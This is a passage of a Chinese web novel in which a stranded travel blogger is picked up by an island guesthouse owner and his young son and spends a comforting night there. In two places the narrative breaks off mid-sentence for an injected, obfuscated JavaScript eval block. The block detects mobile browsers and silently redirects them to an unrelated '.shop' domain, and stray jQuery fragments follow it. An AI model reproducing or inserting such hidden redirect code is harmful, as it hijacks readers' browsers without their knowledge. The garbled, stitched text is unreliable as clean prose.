“我的微信号就是我的手机号,你直接加就好。”
电话里又一次陷入短暂安静,直到对方“哦”了一声。
不一会儿麦初的手机屏幕跳出一条微信消息,是来自于【乔】的好友申请。
麦初点了同意添加后立即发去自己的定位,添加微信的同时电话还保持在线,在她发去定位后,这次对方好像沉默更久了。
“喂?地址你看到了吧?”麦初试探着追问,对方全程惜字如金,她生怕他是真的疲倦得快要睡过去了,还特意抬高了分贝。
对方轻嗯了一下,示意在听,片刻后,他的声音再度响起,听上去似乎清醒了些:“几个人?”
麦初说:“就我一个人。”
“这地方远,只接你一个人要加钱。”
“怎么个加法?”
app上没有明确标注接送的距离,麦初想着既然这家店标着肯接送总归不会有生意不做的道理,所以打电话时就做好了加钱的心理准备。
“不急,等你离宿的时候跟其他项目一起算。”对方没有明码标价,只是如此告知,语气平淡得仿佛在叙述一件再平常不过的事情。
但麦初却听得不自觉地皱起眉。
怎么?难不成还有其他捆绑消费项目?
这不会是家黑店吧?
3. 3
远处的天边,浓荫逐渐在降落,商铺外的雨滴又阵阵飘向麦初,这次风力稍大,她未施粉黛的脸也没能幸免。
麦初深知此刻自己没有别的选择,耳边也不由响起姝言那句话——能用钱解决的问题都不是问题。
住宿捆绑消费还能有什么,无非就是吃饭、购物?难不成还有什么美男提供特殊服务?
她随手拂了一下脸,把雨水撇开,也只能跟被大头钉扎轮胎的司机一样认栽,软声答应了下来。
“行。那能不能麻烦你尽快来接我,我想天黑前到达民宿。”
“尽量吧,不保证。”对方好像一台设定好程序的机器,仿佛激不起半点起伏,只给出一句机械又疏离的应答。
“……”
之前麦初住宿都是由助理那边对接,很多酒店或者民宿为了扩展知名度,都是借她的流量打广告,所以都是谦虚客气的姿态,她已经太久没有亲自与商家对接,遇上这种也是头一遭,加上这一路的各种不顺,心中难免又咯噔了一下。
麦初周身充斥着风声和雨声,电话那头应该也听见了,然而回应她的却是一段漫长的静默。
对方似乎极有耐心,仿佛在与她展开一场隔空的无声对峙,在这种情况下,显然谁更着急,谁就输了。
麦初实在不想在这片荒郊野岭待到天黑,她没太多时间跟他耗,最终败下阵来,她重新将手机置在耳旁,再次接听后挤出声音。
“行、吧……”
*
“怎么?客户电话?”
乔翊刚将听筒放回座机,民宿的门便被打开,一位中年男子应声而入,他把手中的长柄伞熟稔地放进门边的伞筒中,拂拍开落在身上却尚未浸湿布料的雨珠,而身后的雨水则被重新回落原位的透明塑料隔帘挡在了门外。
这人正是这家民宿的老板,佟川。
乔翊手扶着前台侧边的半腰门嗯了一声,他身形高挑,衬得那只有半截长的腰门更短小精悍了。
“有个客户需要车接,想天黑之前到。”他说话的时候顺势抬起头,被黑色口罩包裹的半张脸随之一并抬起,却只露出一双清隽眉眼,还有一截线条利落、笔直高挺的鼻峰。
“好。”佟川刚送走两个顾客,一听又要接人,身子还没踏入店内重新拿了刚放下去的伞,作势又要推门往外去,“把客户手机号给我,我这会儿去码头车站接人。”
“人不在码头车站,在潭县。”乔翊告诉他,推开半腰门人走出了前台。
“什么?”男人一个止步,潭县?
这里是夏安,潭县离夏安一百多公里,来回可得一个多小时的车程,还不算上岛的时间。
佟川又往前台墙上的时钟扫去一眼,这会儿都已经四点了,客户还想赶在天黑前回来?如果天气好倒还好说,今天天气差成这个样子,他生怕接到了人也赶不上最后一班上岛的船。
“这么远,你也答应了?”他转头去问罪魁祸首。
他们这家民宿是开在夏安岛上的夫妻店,夏安岛这个地方三面环海应有尽有,岛上还坐落着一群年代久远的小渔村,只是由于交通不便,政府宣传又少,在相邻几百公里的旅游胜地青禾的压制下,它显得渺小又无特色。
因为小众,平常来岛上的游客零零散散的并不多,为了方便客人上岛,佟川开启了接驳服务,平时老婆看店,他来接送,不过通常客人都会在码头车站候车,路途偏远的他几乎很少接,倒不是他们不愿意多跑,而是怕万一同时段内另有客人从码头赶来,错过了时间就得让人家多等了,到时候反而麻烦。
罪魁祸首此刻已经走到前厅的胡桃木长桌前,顺着他的视线能看到桌上趴着一个小家伙,只见小家伙两只胳膊把试卷压得死死的,小脑袋枕趴埋在臂弯里睡得很香,就差流下口水了。
“一年到头也就暑假能有点生意,就当给你拉客了,反正对方也愿意付车费,不亏。”乔翊语气平淡地说着,顺手将面前那张长椅又拉近了些,长腿一跨便坐到了小孩对面。他略向前倾身,屈起指节叩了叩桌面,“Hey.小伙子醒醒了,试卷做完了没?”
见对面毫无动静,他直接上手rua小鬼的脸。
“你爸都回来检查你作业了。”
“啊?老爸回来了?我我我,我还剩三道阅读理解,马上就好!”小鬼立马一个惊醒,赶紧坐端正,他本能地拿起笔重新做起试卷,一目十行后发现阅读理解里的英语单词都是倒的。
哦,他想起来是打瞌睡前把英语试卷翻转了一面,还没来得及调正过来就跟周公做朋友去了,赶紧侥幸地又把试卷转回来快速地全都写上C,这一张试卷不就很快能写完了吗?
以上动作却被尽收眼底的乔翊逮个正着,他把试卷拿过来一瞧,C泛滥到可以用漫山遍野形容都不为过,不禁眉梢微挑,“行啊,不会的全都选C,跟谁学的?我可没教过。”
“总有一题是对的吧?”小孩圆睁双目仍然抱有一丝幻想,还没等乔翊回答,小脑袋上已挨了亲爹一记,他“哎呦”一声缩着脖子下意识地想逃命。
“怎么只要碰到书和试卷就困得不行?看电视打游戏你倒是一头的劲。”他亲爹块头大,大步流星地走过来拎他跟拎小鸡似的,简直轻而易举。
“是他先睡我才睡的!”小孩如实控诉,试图逃过制裁。
乔翊闻言眉目开展,口罩下的唇角微微兜起。
确有其事,最近老板娘不在,佟川又要接送顾客,他来帮看着店顺便监督小孩暑期作业。
时间拨回两个小时前——
他本就不适的身体,在服过药后眼皮更是沉得直要打架,于是快速给小孩安排好试卷,索性拉开长桌下宽大的长条凳侧躺了上去小憩片刻。
这条长条凳是跟大长桌一道用水曲柳定制而成,桌身全长2.6米,凳身净长2.2米,一个1. 88的他躺上去正好,当然双脚交叠后更显舒适,虽然骨骼被搁得有些生硬感,但也能凑合,他躺下没多久眼皮从打架到发沉再到耷耸,耳边时不时传来小鬼在试卷上划写的铅笔头触碰纸面的沙沙声,很像时下网络上流行的ASMR。
伴随着这个声音,他逐渐变得松弛,整个身体如同泄了气的皮球,透着浓浓的倦意,不久便缓缓进入了睡眠模式,如果不是那通突如其来的电话,他应该能睡到跟小鬼同时醒。
小孩到底是没心思,一觉下去就是深度睡眠,不像他神经衰弱浅眠的很,一通电话即能吵醒。
“他睡觉是因为感冒,你睡觉是真的困了!但凡跟学习沾边的你就没有不困的。”
现在他爹也从外面回来了,知子莫若父,他一语道出了真相,小孩还哼哼唧唧不肯承认。
不过这会儿佟川还没功夫收拾这臭小子,现在有件更重要的事丞待解。
“车费你跟人家怎么谈的?”他朝乔翊追问道。
“打包进住宿费了,我说到时候跟其他项目一起算。”感冒让乔翊的脑袋昏沉,加之惊醒后的困怠,他整个人显得恹恹不振。
为了能面对面说话,他人从原位调整方向转了过来,换成后背倚靠桌沿而坐,他双腿自然伸展,上半身则重心后倾,双肘反向支桌,肩胛骨与后背形成一个屈弯角度,而胸前的肌肉紧致地包裹着骨骼,隔着白T肌理毕现,清晰有力的线条一路延展而下。
“来者都是客,多一个顾客总比一个没有的强。”他言之凿凿,顺带隔空指挥,“行了小鬼,别装模作样了,跟你爸一起出门接人去。”
“为什么啊?”小孩鼓起嘴不肯就范,“我才不……”
可话还没说完,就看见乔翊的手正朝他那本藏夹在习题册里的《名侦探柯南》伸去,似要翻出来公之于众,这要是被他爹发现,他好不容易收集全的整套漫画可就保不住了!
小孩瞬间倒吸一口凉气,立马识时务地改口:“去!我去!我现在马上就去!”
“去你大爷的!我这把全是烂牌,一个炸弹都没有,怎么打?”
“你还好意思说?我跟你对家,被你拖累得走都走不掉。”
“愿赌服输,快!喝喝喝!”
汽修店里,在等待新轮胎送来的途中,四个汽修学徒都凑了一桌打起了掼蛋,一轮过去,胜负已分,输的那方正被狂灌可乐,超大桶的不一会儿就见了底,导致店内的卫生间门不停地开了关,关了再开。
“轮胎还有多久能送来啊?”轿车司机不知道已经问了第几遍了。
“送胎的车已经走了一半的路了,再等等。”刚才那个老汽修师傅正坐在店铺里面,边抽烟边乐此不疲地在手机上刷着短剧,看得那叫一个津津有味。
这店就是开在道路附近应急的,前不着村后不着店,不比在市区,平常也没啥人气,就连蚊子也都争先恐后地只盯着麦初的细皮嫩肉咬。
不管她是站着还是坐着,挪到哪个方位,这些小动作都能精准找到她,害得她没办法,只得把防晒服都裹上了。
“姑娘,我空调开的不低啊,你很冷吗?”搞得老汽修师傅以为是店里空调打低
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182737|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
“不是,有蚊子。”麦初解释着,庆幸还好自己穿了一条长裤,双腿能幸免于难。
“哦,那办法了,这雨一下蚊子都冒出来了,这些蚊子对蚊香都免疫了,我们皮糙肉厚的早被咬习惯了。”师傅抬了抬下巴告诉她花露水的方位,以示自便前台有花露水,“你需要的话直接拿去用。”。
“谢谢,我自己也有的。”麦初从包里掏出驱蚊滚珠,作为一名旅行博主,她的出行装备可谓是一应俱全,包里就跟哆啦A梦的口袋似的,要什么就能掏出什么。
师傅也从中看出了麦初的警惕,没再多言,继续刷他的剧去了。
麦初望着外头渐小的雨势,趁着手机急需续电,她在插上充电宝后顺手打开了微信。
小小麦个萌:【请问大概还有多久能到?】
那人秒回。
乔:【20分钟】并附上车牌号
麦初挺惊讶他开车还能这么快回微信的,出于安全考虑没再打扰,继续安静等待。
铺子外,雨势虽小但一直未停,在学徒们第二轮的掼蛋比赛胜负见分晓时,一辆五菱宏光小面包车突然出现在了店铺门口。
轿车司机以为是他的轮胎到了,双手拍了一下大腿,激动地率先站了起来。“真是不容易啊,我的轮胎可总算来了。”
老汽修师傅闻声也朝外一望,烟还叼在嘴里,他眯着眼发出“嘶——”的一声困惑,随后喃喃自语道,“这车,不对吧?”
果然,车窗落下,露出的是一张汽修师傅从未见过的陌生面孔。
只见对方先从车内探出半个身子,目光朝店铺内扫视了一圈,随后对着一票人开口问道,“你们,谁要住宿?”
搞得满怀期待的轿车司机一脸懵逼,老汽修师傅二脸懵逼,他的四个学徒更是一个比一个懵逼。
他们面面相觑:谁,谁要住宿啊?
“我——”
只有麦初神情自若,从懵逼的人群后默默地站了出来。
她朝那辆五菱宏光走去,随着距离的拉近,驾驶座上开车人的模样也渐渐清晰,面容上看像四十岁上下的中年男子。他外表平和,与电话里那道略显沙哑却透着年轻且充满个性的声音并不相符。
怪不得刚才微信回得那样快,原来来的另有其人。本来她还想看看,在电话里颇有几分随性的人,究竟是副什么模样,眼下看来只能去民宿才能一堵尊容了。
开车的男人见到她后微微颔首打招呼,“你好。”见她一身精简,又问:“没有行李?”
“有的,在那辆车后备箱,我一会儿去搬。”麦初指了指那辆正被千斤顶拖举的轿车告诉他。
男人打眼一看,只当麦初是来夏安岛玩的游客,心想:难怪要特意让他跑这一趟来接,原来是车在半路出了状况。
“没事,我来给你搬。”他打开车门跨步下来。
“对了,你的手机尾号是……?”只是他跟麦初核对信息时候一时想不起来她的信息了,一直在身上摸手机想打开订单去重新查看。
在口袋里摸索了一阵一无所获,他还以为是自己记错了,把手机落在了车里。
他跟麦初说了声稍等后,又转身回驾驶座上寻找,直到车后座传来一声清脆的“Timi~”
他秒懂,立刻从前排两个座位之间伸长身子钻进后座,一眼就薅住了那个正缩在角落里的“小贼”。
“兔崽子,又偷偷用我手机打游戏,快把我手机拿过来!”
“哎呀爸爸,我没在玩儿,我就把你手机上的软件更新了一下下。”
男人一脸严肃地摊手,“拿、来。”
小贼秒怂,“好的爸爸。”
等男人重新拿着手机站在麦初面前的时候,他身后还跟着个耷拉着脑袋的小男孩,看上去不过八九岁的样子。
“你好,是手机尾号为0833的麦女士对吧?”面对麦初的时候,男人神色迅速切换回亲和状态,“你在一个小时前定了我们家一间房,订单号是:95328XXX,我就是民宿【倦】的老板。”这回他正式进入了核对信息的流程。
只是还没等麦初开口,他身后的小家伙突然一个探头,他睁大双眼好奇地望着麦初,“啊?你姓麦啊?那你是麦当劳,还是麦兜的亲戚啊?”
麦初不禁失笑,一直紧绷的弦,也随这童言无忌松了几分。
至少在这一刻,这个小孩的出现,令她心头独自扛着的忐忑与不安,那些藏在暗处的担惊受怕,都悄悄少了些许。
4. 4
“都不是。”
对于小男孩天马行空的联想,麦初礼貌莞尔,摇摇头予以否定。
但麦初确实也不好承认就是了。
麦当劳好歹是根据创始人姓氏音译过来的,如果这层跨越国界的“亲情”还算牵强,好歹还没超出人类的范畴,但麦兜是只猪,硬要跨越物种和它沾亲带故的话,可就离了大谱了。
“瞎说什么,没礼貌。”民宿老板揪了揪小男孩的耳朵斥责,又对着麦初歉然一笑,“不好意思,这是我儿子,说话有点没大没小。”又拍拍小孩脑袋教育,“叫姐姐。”
被血脉压制的小男孩乖乖叫人,“姐姐。”
“没关系的。”麦初不甚在意地对民宿老板摆摆手,至少与那个没什么人情味的前台接线员相比,这老板父子俩还挺有趣的。
她微微俯下身,笑着问小男孩,“你叫什么名字啊?”
“我叫佟光。”小男孩也不怕生,大大方方地报上自己的姓名。
“你好呀,小佟光,你可以叫我小麦。”麦初弯下腰友好地伸出手跟他打招呼。
小男孩被麦初突如其来的热情反倒整害羞了,他犹豫了一下,小爪子伸出轻轻碰了碰麦初的手旋即缩回。
“泥嚎。”
“信息没问题的话,现在我们搬行李上车?”一切确认无误后,民宿老板提醒道,“我们得时间抓紧些,晚了可能赶不上去岛上的最后一班渡轮。”
“嗯好的,不过我其实可以自己来……”麦初话音未落,民宿老板已经先行一步往被千斤顶举起的轿车那儿去了,他步履匆匆的样子,可见时间是真的紧迫。
“来来来,我来我来。”轿车司机见状也快速上前,抢先一步将麦初的行李从自己车后备箱给拿了出来。
“姑娘,祝你在夏安岛玩的愉快哈。”
麦初转身离开的时候,那位轿车司机还不忘送上祝福,仿佛他与民宿老板交接的不止是行李,还有接下来她在岛上的整段旅途。
对于之前他提及的退差价麦初最后并没有收下,虽然她这碎银几两解不了世间慌张,但如果能稍稍安抚眼前人的眉头,也算值得了吧。
“谢谢你了师傅,车修好了早点回家。”
麦初礼貌地与司机挥手告别,她并没有告诉他,自己只是去夏安岛暂时过渡一晚,明天一早就会重新包车离开前往原目的地青禾。毕竟那通电话里先入为主的印象已经让她对这家民宿整体祛魅,所以对它的所属之地夏安岛更是兴趣寥寥。
麦初终于又重新上路了,托那颗大头钉的“福”,她今天解锁了很多人生初体验,比如坐拖车,又比如现在坐上五菱宏光的老式面包车。
这车看上去有些年头了,舒适程度并不比轿车,虽然先前那辆轿车也很普通,但起码胎噪还在麦初的可接受范围内,可现在她觉得自己只是隔了一层铁皮在听风雨声,而车内已经略显陈旧的手动挡,随着民宿老板每一次推拉,都发出干脆的“咔咔”声,俨然成了这段路上别有风情的伴奏。
风声、雨声、机械的摩擦声,像铁锅乱炖似的混杂在一起,有一瞬间,麦初有种自己坐在敞篷拖拉机上听B-box的错觉。
有些无所适从的她只得从包中掏出降噪耳机,只是刚要戴上,与她同坐在车后厢另一头的佟光小朋友,突然眼睛一亮,恍然大悟地朝她冒出一句,“啊哈~我知道了!”
他的话题依旧绕着她的姓氏打转,这回却摆出一副“真相只有一个”的模样:“小麦姐姐,你一定是新疆人吧?”
对于这个突如其来的结论麦初不明所以,甚至觉得很无厘头,但同时也被勾起了好奇心,便收起耳机顺着那小鬼那跳跃的逻辑反问:“为什么这么说呀?”
小佟光老神在在道:“因为新疆漂亮的小姐姐很多啊,而你又姓麦,新疆不是好多人都叫麦麦提吗?就是你这个麦吧!”
小佟光这番头头是的模样令麦初咋舌,她不禁饶有兴致地反问,“我看起来像新疆人吗?”
做自媒体博主多年,她对自己的外貌自然有着清晰的认知,最初能在网络上走红,除了天时地利人的氛围感,多少也托了这张脸的福。
她美而自知,但被人认作是新疆姑娘还是头一次,可明明她脸上没有半点异域特征,只能说这小鬼联想力未免太过丰富。
“我们老师说过,新疆人分汉族人和维吾尔族人,我没猜错的话你应该是汉族和维吾尔族生的混血。”小佟光还振振有词,懂的还不少。
眼看他的推论逐渐离谱,麦初却只觉得可爱又好笑,她继续一探究竟地逗问下去,“哦?这话又是从何说起呢?你怎么看出来的?”
“很好判断啊。”小佟光还真一板一眼地同她分析起来,“你是标准的汉族人长相,可是眼睛却是蓝色的啊,那么只有一种可能,你是混血。”他的一套逻辑自此完成了闭环。
麦初听到这儿,眨了眨那双戴了美瞳的浅蓝色眼睛,忍不住笑了起来。
“所以因为我姓麦,眼睛是蓝色,你就推断出我是汉族混维吾尔族?”她觉得挺有意思的,便帮他把这一套小推理顺了一遍。
“是啊。”小佟光一脸得意,快夸我的喜悦已经溢于言表,还煞有介事地学柯南扶眼镜的动作,朗声自封,“请叫我,名侦探——佟光!”
这个年纪的小孩子,心里总揣着个闪闪发光的英雄梦。麦初太懂这份天真下的欢喜,终究没忍心戳破他刚刚建立起的成就感。
她没有告诉他真相:新疆的那个“麦麦提”,是当地人名字的一部分,跟她单字的“麦”姓完全八竿子打不着关系,至于她的眼睛为什么是蓝色,也不是什么混血特征,而是因为她戴了美瞳而已。
“哇,你好棒。”相反的,麦初不吝赞美地竖了竖大拇指,很配合地为他拍手鼓励,“名侦探——佟光!”
“哈哈哈,对吧对吧?”只当她默认了,小鬼被夸得尾巴都快翘起来,一脸的臭美得意。
同样是坐车,跟前一次相比,这一路在小佟光的陪伴下明显要轻快许多,麦初的心情也没之前那么沉闷了,因为这小鬼一路上的童言笑语给原本索然无味的车程增添了许多乐趣。
麦初侧头望向窗外,天光正一寸寸被暮色吞没,远山与海的轮廓渐渐模糊成一片深邃的蓝,但的心里却不再像先前那样,对即将笼罩下来的夜晚感到隐隐不安,就连车轮碾过路面持续不断的胎噪声,似乎也随着童言笑语渐渐隐匿在了车外的风雨中。
当他们到达码头的时候夜幕正好盖住了头顶的那片天,雨终于停了。
可大雨过后,入夜的海边空气却湿沉的厉害,沉甸甸地浸透了寒意,麦初刚一下车,海风直面扑来,那股湿冷像找到了入口似的,从头顶径直灌到脚底,激得她连着打了好几个寒噤。
“这里昼夜温差大,晚上海风一吹更凉,加上下过雨,气温比平时还要低一些,你如果戴了厚外套可以换一件。”停好车的佟老板见她身形单薄提醒了一下。
“上岛要多久?”麦初推着行李箱问他。
“半个小时左右。”
“那没事,我可以。”麦初对接下来的情况一无所知,她头很铁地说道。
主要是厚外套被她压在了行李箱的底层,上层都堆放着贴身衣物,这会当众打开取出的话实在不太方便,所以她决定撑一撑,反正上了船就有藏身之地了。
由于时间仓促,佟老板看着她身上那间单薄的防晒衣欲言又止,他只得给小佟光穿拉好本就穿在身上的外套,匆匆说,“走吧,船快开了。”
他拎起麦初的行李箱,带着两人快步走向码头,好在他们运气好,赶上了最后一班上岛的摆渡船。
船尾下搅动的水流翻涌起阵阵浪沫,海面就此被拉出一道蜿蜒的曲径,却又迅速被吞没在起伏的波涛之中。直到船行至大约三分之一航程时,麦初才意识到佟老板先前那句提醒她穿衣的份量,这艘渡船除了前方的驾驶室,是完全没有封闭舱室的,行驶的过程中海风从四面八方涌入船舱内,不仅将她的长发吹得凌乱飞舞,更带着湿冷的寒意穿透单薄的衣衫。麦初被吹得整个人都有些发懵,接连又打了几个寒噤后,她不由自主地抱紧了手臂,试图给身体取暖。
“你看吧,大自然会打脸每个嘴硬的人,上一个这么嘴硬的人都已经风寒感冒好几天了。”被包裹严实的小佟光坐在她对面言之凿凿,一副她不听好人言吃亏在眼前的架势。
哪知话音刚落就又被他爸在脑门上敲了一记。
“就你话多?”
小鬼吐吐舌头安静地闭上嘴,佟老板则好心地表示,如果麦初不介意的话他的外套可以借给她穿。
麦初自然没有把小佟光说的话放在心上,可佟老板的外套我就一件,如果脱下来给她,他自己恐怕也会着凉,于是她婉拒了他的好意,“我还好,只是刚上船有点不习惯,适应一会儿就好了,谢谢佟老板。”
佟川见她坚持,便点点头,“没事,你要是觉得冷就说一声。”
船在夜色中缓缓前行,麦初正望着远处稀疏的岛光出神,握在手里的手机忽然连续震动起来,屏幕亮起,是姝言发来的微信,一连好几条。
姝言:【我今天简直忙到死,这会儿才有空摸手机。怎么样,你人到青禾了没有?】
小小麦个萌:【我今天运气有点背,车子半路抛锚了,不想赶夜路,找了家附近民宿先过一晚明天再说。】
姝言:【什么???半路抛锚?人没事吧?】
小小麦个萌:【没事,这不是还能跟你打字。】
姝言:【人没事就好,那你现在已经到民宿了吗?】
小小麦个萌:【还没有,正在路上,到了告诉你。】
姝言:【ok,凡事注意安全。】
小小麦个萌:【好。】
夜间的海十分不平静,海风持续呜咽,深厚凝重的浪前仆后继地卷涌而起,渺小的船体漂浮其上摇摇晃晃,好似被无形之手在黑暗中托举,让一直盯着手机的麦初越发觉得眩晕。
“你在船上最好别玩手机哦,容易晕船。”小佟光又如是提醒道。
但为时已晚,晕眩感已细细密密地涌了上来,好不容易熬到船靠岸,麦初只想先找个地方先吐一会儿。
此刻,饥寒还未退去,晕船又铺天盖地席卷而来,结合这一天颠簸辗转的遭遇,她只能联想到网络上经常刷到的一条评论——好惨一人。
“还能走吗?要不要先在船上坐会儿,缓一缓再下?”佟老板看她状态不佳,本想着跟船长打个招呼,让她在船上稍微休息会儿。
可对于晕船的人来说待在船上的每一秒都是煎熬,船每晃一下她的胃都跟着甲板起伏而翻江倒海,麦初连连摆手,“还是先下船吧。”
从船上下来到再次坐上车最后抵达民宿,麦初整个人都像飘在半空中,也不知道自己是怎么熬过来的,可能是这些年走南闯北练就的钢铁般意志吧,总之等她人缓过劲来,人已经在民宿里了。
“你还没吃饭吧?有什么想吃的吗?”到了自己的地盘,佟老板更显热情,对着这位一路折腾过来的客人,关怀备至。
船上的眩晕感像后遗症般久久难以散去,麦初初入这家民宿,没有了以往打量环境的闲情逸致,满脑子只想着赶紧到房间去躺一躺。
“有泡面吗?卖我一桶就好。”麦初强打着精神,从包里掏出身份证到前台,想先把入住手续给办了。
不过即使身体难受,她还不忘朝前台里探了一眼,这会儿除了佟老板一人在里面忙碌着,并无他人。看来电话里那位颇有个性的接线员,早已到点下班了。
“光吃泡面没什么营养,一会儿我给你煮碗面送上去吧。”佟老板接过她的身份证,一边给她刷卡办理入住,一边说道。
奔波整日又晕船反胃,此刻落了脚才得以松懈下来,麦初顿觉胃里空空,倦意与饥饿一同涌上,这次也没再拒绝老板的好意,她点了点头说:“那麻烦您了,先记在账上,回头退房我一起结。”
“不用,这顿算我请你的。”佟老板手上利落地操作着,刷过她的身份证后,顺手将它装进一个准备好的卡通保护套里。他动作快速且自然,却因为前台台面高度的遮挡,麦初没能第一时间看见这个小细节。
“有什么忌口的吗?”他接着问。
“没有。”麦初摇摇头,她长年在外奔波,为了尊重每个地方的风俗,她早练就了酸甜苦辣都能入口的本领。
“海鲜不过敏吧?”但佟老板是生意人,什么都习惯多问一嘴,他们这岛食材上都以海鲜为主,但医疗条件有限不比市区,所以他开店以来在餐饮方面连小细节都很谨慎。
麦初回答:“不过敏。”
“好的,手续都办好了。”佟老板这边手续已经办理完毕,他将身份证稳妥地夹进折叠式的房卡套中,一并递到麦初手里,“证件请收好。” 一同递来的还有一只小海螺伴手礼,他轻轻放在她摊开的掌心,“一点小心意,欢迎你入住‘倦’。”
麦初抬眸的同时,他露出温和的一笑:“祝你此程旅途愉快,晚安。”
当麦初接过房卡,才发现自己的身份证已被装进了一个卡通保护套里上面印着的,卡通图案正是她喜欢的《疯狂动物城》里自信勇敢的朱迪警官。
心间蓦然一暖,她将身份证仔细收好,轻声回应:“谢谢,晚安。”
麦初回到房间后躺在床上眯了少顷,待状态好些后在好奇心的驱使下摆弄起那只小海螺。
它通体净洁,奶白色的外壳在经年累月的潮汐打磨下泛着温润如瓷器般的光泽,随着手的轻轻转动,它表面也流转出珍珠母贝似的细碎虹彩,仿佛将世间温柔都藏进了一圈圈的螺纹里。
把玩间,她留意到螺口处嵌着一个浅色的塑料底座,底下藏着枚小小的开关,她顺势轻轻一拨,暖黄色的光便从海螺内部柔柔地透了出来,光晕在她掌心静静漫开,光线温和而不刺眼,将螺身映得几乎半透明,原来这不止是一只海螺,还是一盏小夜灯。
暖黄的光从螺壳中温柔地溢出,细碎如星子的光斑轻轻跳跃在麦初的脸上,映得她低垂的眼睫根根分明。
她静静望着掌心这捧小小的光束,一路上的那些颠簸与寒意,电话中那不近人情的刻板印象,似乎都被这温润的光晕一点点化开了,心中积压的所有不快,这一刻也在老板父子不动声色的关照下染上了一层温度。
她独自出行的第一天,总算是瑕不掩瑜。
这时,姝言又开始给她狂发微信,她赶紧回复报去平安。由于还有要事得解决,之后她又强撑着倦意,点开了几个出行App,开始搜寻能载她离岛前往青禾的车。
但页面上显示的不是团队定制就是固定专线,行程既不自由也不符合她的路线规划。她试着后台私信了几家客服,询问能否单独包车离岛前往青禾,可对方要么报价高得离谱,要么直接回复暑假旺季不接个人单,除非她能自己拉人拼车。
正当麦初一筹莫展之际。
“叩叩叩。”
她的房门突然被敲响了。
麦初放下手机,起身开门。
门外站着的是小佟光,只见他双手小心地端着一个木托盘,上面放着一碗热气腾腾的海鲜面和一杯热饮,两人隔着几步的距离鲜甜的香气已经扑面而来,令麦初不禁口舌生津。
这一刻,麦初觉得这碗面简直是踩点而来的救赎,她真的好饿。
“送餐机器人坏了,我爸叫我给你送上来,还有你今天吹了海风,这杯姜茶你要记得一块儿趁热喝。”小佟光送来温暖的同时也送上温馨提示,他这个店小二当得倒也很合格。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182738|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原本已经力竭的麦初,在接连收到那些温柔的惊喜后,所有疲惫与阴霾都变得烟消云散。
热汤入腹,那一碗海鲜面很快被她一扫而光,吃饱喝足后,在小岛上的这一夜,她也卸下了来时所有的防备,睡得极为安稳。
由于一直没有找到合适的车,次日清晨,麦初决定问问佟老板,这小岛附件有没有能包车去青禾的地方,毕竟他是本地人,人脉广路子熟,说不定能介绍司机给她,实在不济,她跟他商量商量,看能否多出点钱把他的车给包了。
一下楼,民宿的前台依旧像昨晚那样空无一人,倒是偏厅的餐厅里坐着三三两两的正在吃自助早餐的客人,小佟光则猫在最角落的一张餐桌上,埋着头奋笔疾书地写着作业。
“早啊,小朋友。”她主动凑过去跟他打招呼。
“早,小麦姐。”小佟光头只抬了一下就蔫蔫地闷了下去,眼里没有了昨天的神采奕奕,只剩一脸垂头丧气。
天知道,今天的作业量比昨天足足多了一倍,这哪里还是个快乐暑假?反正他是半点都快乐不起来了
“你爸爸呢?”麦初四处张望了一下,却没寻到佟老板的人影。
“去医院了看我妈妈了。”小佟光告诉她。
麦初收回视线,关切地问他:“你妈妈怎么了?”
“老毛病了……”小佟光拿着铅笔在试卷的空白处当草稿纸胡乱地画着,似乎不想多说。他很快抬起头,转而问她,“小麦姐,你找我爸爸有什么事吗?”
“嗯,想问他个事。”麦初点头承认。
“你问我也行啊,我也是本岛村民,什么都知道。”只要不是写作业,小佟光又立马来了精神,他昂着头胸有成竹,看起来什么都懂的模样。
这一个敢说,那一个也真敢问。
麦初:“那你知道你们这里,或者周边附近,哪里有能包车的地方吗?”
“啊这个嘛……”小佟光冥思苦想了半天,最后老老实实地说,“你还是等我爸回来问他吧。”
麦初:“……”
直到麦初用完早餐,佟老板的身影依然没有出现。她望着窗外的碧海蓝天,决定不再空等,于是回房间收拾好随身装备,打算先到民宿外面边逛边等。
昨晚夜黑风高,加上晕船带来的昏沉,她几乎什么都没看清,既然是第一次来到这座夏安岛,总要一窥全貌再走吧,不然来都来了,难免有些可惜。
只是出了民宿她还没走几步便被眼前的景色震慑住。
民宿门口就有一处被三角梅所包围的小花园,目光所及之处尽是浓烈的紫红,它们肆意弥漫,灼灼摇曳,而这群热烈的身后则是深浅颜□□限分明的海面,再近一步,那片海豁然展现,极目远眺,那深邃的墨蓝在遥远的地平线与雨后湛蓝的天空融为一体,海天一色,分不清边界。
海浪激起的阵阵潮声,仿佛裹挟着海风拂面而来,坐落在远处成群的陡岩峭壁像一只静谧蛰伏的巨兽,高耸的山体直插入海面,它围绕着渔村扎根,以壮阔的姿态不断延伸至海天交界处,最终匍匐于蔚蓝的波涛。
而此刻,麦初正驻足在悬崖之巅,她身体恍若凌空,接受这天光倾泻而下,脚下海涛翻腾,感受着苍穹为之摇晃,在天与地的距离,整个人处于临界点俯瞰着眼前的那片浩瀚汪洋,直面这令人窒息的壮美。
她这才意识到,原来这家民宿竟是伫立在悬崖之上的。
她在海风毫无保留的吹拂中,不由自主地张开了双手,并非为了拥抱什么,只是想更真切地感受,感受这份几乎要满溢出来的、久违的心潮澎湃。
当风从指缝间轻轻穿淌而过,她才发觉自己已经很久没有这样,为一片风景好好驻足了。
